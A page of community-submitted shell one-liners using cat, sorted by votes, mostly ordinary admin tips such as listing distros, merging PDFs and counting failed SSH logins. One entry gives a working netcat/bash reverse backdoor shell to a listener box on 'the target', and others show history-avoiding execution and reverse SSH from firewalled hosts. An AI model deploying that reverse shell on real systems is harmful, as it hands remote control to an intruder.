Commands using cat sorted by votes

Commands using cat (514)

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Display which distro is installed

Works on nearly all linux distros
This is sample output - yours may be different.
10

cat /etc/*release

dog · 2010-05-26 11:58:34 83
sends a postscript file to a postscript printer using netcat
This is sample output - yours may be different.
10

cat my.ps | nc -q 1 hp4550.mynet.xx 9100

cp · 2010-07-05 06:12:12 6
List your MACs address
This is sample output - yours may be different.
10

cat /sys/class/net/eth0/address

barto · 2011-05-13 13:40:08 5
Show bandwidth use oneliner

poorman's ifstat using just sh and awk. You must change "eth0" with your interface's name. Show Sample Output
This is sample output - yours may be different.
```
02:18:43     1.71 KiB/s in     0.11 KiB/s out
02:18:44     0.75 KiB/s in     0.25 KiB/s out
02:18:45     0.47 KiB/s in     0.20 KiB/s out
02:18:46     0.59 KiB/s in     0.15 KiB/s out
02:18:47     1.12 KiB/s in     1.37 KiB/s out
02:18:48     0.65 KiB/s in     0.21 KiB/s out
02:18:49     0.50 KiB/s in     0.31 KiB/s out
02:18:50     1.28 KiB/s in     0.37 KiB/s out
02:18:51     0.50 KiB/s in     0.05 KiB/s out
02:18:52     2.26 KiB/s in     0.10 KiB/s out
```
10

while true; do cat /proc/net/dev; sleep 1; done | awk -v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out\n", d, i/1024, o/1024}'

point_to_null · 2011-11-21 05:24:44 12
awk using multiple field separators

You can use multiple field separators by separating them with | (=or). This may be helpful when you want to split a string by two separators for example. #echo "one=two three" | awk -F "=| " {'print $1, $3'} one three
This is sample output - yours may be different.
9

awk -F "=| "

Bender · 2009-03-02 21:09:51 9
backup with mysqldump a really big mysql database to a remote machine over ssh

backup big mysql db to remote machine over ssh. "--skip-opt" option is needed when you can?t allocate full database in ram.
This is sample output - yours may be different.
9

mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'

esplinter · 2010-05-29 23:06:04 6
Load file into RAM (cache) for faster accessing for repeated usage

Best result when file size less than half of RAM size
This is sample output - yours may be different.
9

cat <file> > /dev/null

totti · 2011-11-12 15:45:27 8
Generate a random password 30 characters long
This is sample output - yours may be different.
9

cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32

noqqe · 2011-11-20 17:29:45 3
Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output
This is sample output - yours may be different.
```
    
```
9

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

somaddict · 2012-11-16 02:48:01 9
Convert all JPEG images to MP4

Source: http://superuser.com/a/624574
This is sample output - yours may be different.
9

cat *.jpg | ffmpeg -f image2pipe -r 1 -vcodec mjpeg -i - -vcodec libx264 out.mp4

auriza · 2015-10-12 02:46:14 10
Quickly find a count of how many times invalid users have attempted to access your system
This is sample output - yours may be different.
8

gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less

eanx · 2009-03-03 04:26:57 16
Find brute force attempts on SSHd

Searches the /var/log/secure log file for Failed and/or invalid user log in attempts. Show Sample Output
This is sample output - yours may be different.
```
2 67.11.200.144
      4 210.40.128.31
      6 208.71.128.195
      6 64.39.0.38
     15 219.246.112.241
     20 200.214.15.142
     30 119.70.154.57
     30 79.38.22.92
     40 61.152.201.74
     87 88.191.94.168
    107 200.27.214.30
    107 61.134.27.234
    115 200.6.208.186
    170 222.73.37.25
    387 99.154.226.153
    548 222.35.78.224
    627 94.75.240.141
    946 213.191.111.5
```
8

cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk '{print $11}' | sort | uniq -c | sort -n

empulse · 2009-03-30 15:48:24 18
Merge Two or More PDFs into a New Document

require the pdftk package
This is sample output - yours may be different.
8

pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf

eastwind · 2009-11-10 10:07:37 4
Get the time from NIST.GOV

The format is JJJJJ YR-MO-DA HH:MM:SS TT L DUT1 msADV UTC(NIST) OTM and is explained more fully here: http://tf.nist.gov/service/acts.htm Show Sample Output
This is sample output - yours may be different.
```
cat </dev/tcp/time.nist.gov/13

55168 09-12-03 20:32:43 00 0 0 350.2 UTC(NIST) * 
```
8

cat </dev/tcp/time.nist.gov/13

drewk · 2009-12-03 21:40:14 11
Join lines

It's works only when you replace '\n' to ONE character.
This is sample output - yours may be different.
8

cat file | tr "\n" " "

uzsolt · 2010-12-02 09:21:02 8
Quickly analyze apache logs for top 25 most common IP addresses.

This command is much quicker than the alternative of "sort | uniq -c | sort -n". Show Sample Output
This is sample output - yours may be different.
```
348, 192.22.16.56
358, 192.240.8.178
360, 192.107.248.220
394, 192.206.78.2
424, 192.242.141.25
426, 192.175.45.153
440, 192.51.107.202
493, 192.215.222.135
500, 192.20.53.245
688, 192.164.143.36
732, 192.139.1.20
```
7

cat $(ls -tr | tail -1) | awk '{ a[$1] += 1; } END { for(i in a) printf("%d, %s\n", a[i], i ); }' | sort -n | tail -25

oremj · 2009-03-06 17:50:29 5
log your PC's motherboard and CPU temperature along with the current date

Uses the data in the /proc system, provided by the acpid, to find out the CPU temperature. Can be run on systems without lm-sensors installed as well. Show Sample Output
This is sample output - yours may be different.
```
08/25/0902:54:32 => 51 C
```
7

echo `date +%m/%d/%y%X |awk '{print $1;}' `" => "` cat /proc/acpi/thermal_zone/THRM/temperature | awk '{print $2, $3;}'` >> datetmp.log

ninadsp · 2009-08-24 21:26:29 33
split and combine different pages from different pdf's

The command shows the real power of the pdftk tool, you can do basically everything you want with multiple pdf's. In the command a book is created from chapters, headings and covers.
This is sample output - yours may be different.
7

pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf

bw · 2010-03-02 16:04:50 9
Quickly create simple text file from command line w/o using vi/emacs

1. Issue command 2. After angled bracket appears, enter file contents 3. When done, type "EOF"
This is sample output - yours may be different.
7

cat > <file_name> << "EOF"

sphere64 · 2010-05-27 12:06:30 11
merge vob files to mpg
This is sample output - yours may be different.
7

cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg

hoberion · 2010-06-13 20:19:11 5
reset hosed terminal
This is sample output - yours may be different.
7

cls(){ printf "\033c";} or, if no printf, cat > c ;<ctrl+v> <ctrl+[>c <enter><ctrl-d> c(){ cat c;} #usage: c

argv · 2010-08-02 07:27:22 18
execute your commands and avoid history records

Sometimes you don't want to leave history, because of passwords use or somethink like. I think it help.
This is sample output - yours may be different.
7

cat | bash

glaudiston · 2010-08-18 13:47:46 6
Look for English words in /dev/urandom

* to get the English dictionary: wget http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt Show Sample Output
This is sample output - yours may be different.
```
...
rINg
riNg
akAL
tais
TaRF
bASS
DoCK
raCe
...
```
7

head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done

rugina · 2010-12-23 01:58:56 10
Securely stream (and save) a file from a remote server

Securely stream a file from a remote server (and save it locally). Useful if you're impatient and want to watch a movie immediately and download it at the same time without using extra bandwidth. This is an extension of snipertyler's idea. Note: This command uses an encrypted connection, unlike the original. Show Sample Output
This is sample output - yours may be different.
```
[mplayer output...]

$ ls
LOCAL_FILE.mp4
```
7

ssh USER@HOST cat REMOTE_FILE.mp4 | tee LOCAL_FILE.mp4 | mplayer -

flatcap · 2013-11-28 11:25:26 9
Unencrypted voicechat

Sends the microphone input from PC1 to the speakers of PC2. Do the same in reverse to have an actual conversation ;) ... maybe with another port tough
This is sample output - yours may be different.
6

On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666

someguy · 2009-02-18 00:39:32 9
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Translates a phrase from English to Portuguese

Translates a string from English to Portuguese by using google translator web service.

batch crop images whit ImageMagick

Just starting to get in love with mogrify.

Display summary of git commit ids and messages for a given branch

In color. Additionally you may define in your ~/.gitconfig and run it just as 'git one': one = log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s'

Terminal Escape Code Zen - Strace and Tput

Depending on the TERM, the terminfo version, ncurses version, etc.. you may be using a varied assortment of terminal escape codes. With this command you can easily find out exactly what is going on.. This is terminal escape zen! $ ( 2>&2 strace -f -F -e write -s 1000 sh -c 'echo -e "initc\nis2\ncnorm\nrmso\nsgr0" | tput -S' 2>&1 ) | grep -o '"\\[^"]*"' --color=always "\33]4;%p1%d;rgb:%p2%{255}%*%{1000}%/%2.2X/%p3%{255}%*%{1000}%/%2.2X/%p4%{255}%*%{1000}%/%2.2X\33\\\33[!p\33[?3;4l\33[4l\33>\33[?12l\33[?25h\33[27m\33(B\33[m" Lets say you want to find out what you need to echo in order to get the text to blink.. $ echo -e "`tput blink`This will blink`tput sgr0` This wont" Now you can use this function instead of calling tput (tput is much smarter for portable code because it works differently depending on the current TERM, and tput -T anyterm works too.) to turn that echo into a much faster executing code. tput queries files, opens files, etc.. but echo is very strait and narrow. So now you can do this: $ echo -e "\33[5mThis will blink\33(B\33[m This wont" More at http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html

for all flv files in a dir, grab the first frame and make a jpg.

This is handy for making screenshots of all your videos for referring to in your flv player.

Use GNU info with a pager

This makes GNU info output menu items recursively and pipe its contents to less, allowing one to use GNU info in a manner similar to 'man'.

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Advanced python tracing

Trace python statement execution and syscalls invoked during that simultaneously

Send remote command output to your local clipboard

This command will copy command's output into your local clipboard

back ssh from firewalled hosts

host B (you) redirects a modem port (62220) to his local ssh. host A is a remote machine (the ones that issues the ssh cmd). once connected port 5497 is in listening mode on host B. host B just do a ssh 127.0.0.1 -p 5497 -l user and reaches the remote host'ssh. This can be used also for vnc and so on.

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Commands using cat (514)

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